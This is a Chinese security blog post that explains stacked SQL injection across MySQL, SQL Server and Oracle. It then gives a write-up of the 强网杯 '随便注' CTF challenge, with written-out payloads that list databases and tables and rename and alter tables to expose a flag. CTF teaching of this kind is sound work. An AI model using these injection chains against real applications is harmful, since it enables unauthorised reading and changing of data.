从赛题了解堆叠注入

  • A+
所属分类:逆向工程

从赛题了解堆叠注入

前些天刷题的时候刷到的一个堆叠注入的题,由于堆叠注入的局限性,并不是任何环境下都可以执行,所以突发奇想,到底什么前提下可以使用堆叠注入。

应用场景

在SQL中,分号是用来表示一条sql语句的结束,在;结束一个sql语句后继续构造下一条语句,是否会一起执行,这就是堆叠注入。对比union执行语句类型的局限性,堆叠注入可以执行任意语句。但堆叠注入也存在一些限制:

API或数据库引擎不支持

Mysql

尝试使用堆叠注入创建一个表

从赛题了解堆叠注入

发现创建成功

从赛题了解堆叠注入

Sql server

尝试使用堆叠注入创建一个表

从赛题了解堆叠注入

test表创建成功

从赛题了解堆叠注入

Oracle

尝试使用堆叠注入创建一个表

从赛题了解堆叠注入

测试两条语句报错

权限不足

当权限不足的情况下使用堆叠注入,分号后语句如没有权限执行,则会报错,此时页面正常返回。

返回结果

堆叠注入通常在前面的sql语句正常执行后再执行第二个语句,但由于web页面通常只能返回一个查询结果,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果。

强网杯-随便注

从赛题中学习堆叠注入

从赛题了解堆叠注入

首先fuzz后发现题目存在大量过滤,并且直接返回列表数据

从赛题了解堆叠注入

故尝试堆叠注入,'闭合前面语句,首先查看数据库

1';show databases;#

从赛题了解堆叠注入

看表

1';show tables from supersqli;#

从赛题了解堆叠注入

查看内容

1';show columns from `1919810931114514`;

从赛题了解堆叠注入

发现flag字段,无法继续用语句查看内容

查看word表

1';show columns from words;

从赛题了解堆叠注入

发现有两个字段,查询也是两个字段,所以猜测word为默认查询的表,尝试修改表名

rename

rename:修改表的名称

RENAME TABLE old_table_name TO new_table_name;

首先可以将word改名,再将1919810931114514改名为word

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;#

改名后发现缺少id字段

从赛题了解堆叠注入

alert

alert:向表中添加字段

Alter table [table_name] add [columns_name] 类型

添加字段id,即可(需要先添加再修改名字为word,否则第一条语句报错,无法继续堆叠注入)

1';alter table `1919810931114514` add `id` varchar(100);#

从赛题了解堆叠注入

POC

1';alter table `1919810931114514` add `id` varchar(100);rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;#

从赛题了解堆叠注入


关于山石网科




山石网科是中国网络安全行业的技术创新领导厂商,自成立以来一直专注于网络安全领域前沿技术的创新,提供包括边界安全、云安全、数据安全、内网安全在内的网络安全产品及服务,致力于为用户提供全方位、更智能、零打扰的网络安全解决方案。山石网科为金融、政府、运营商、互联网、教育、医疗卫生等行业累计超过18,000家用户提供高效、稳定的安全防护。山石网科在苏州、北京和美国硅谷均设有研发中心,业务已经覆盖了中国、美洲、欧洲、东南亚、中东等50多个国家和地区。

本文始发于微信公众号(山石网科安全技术研究院):从赛题了解堆叠注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: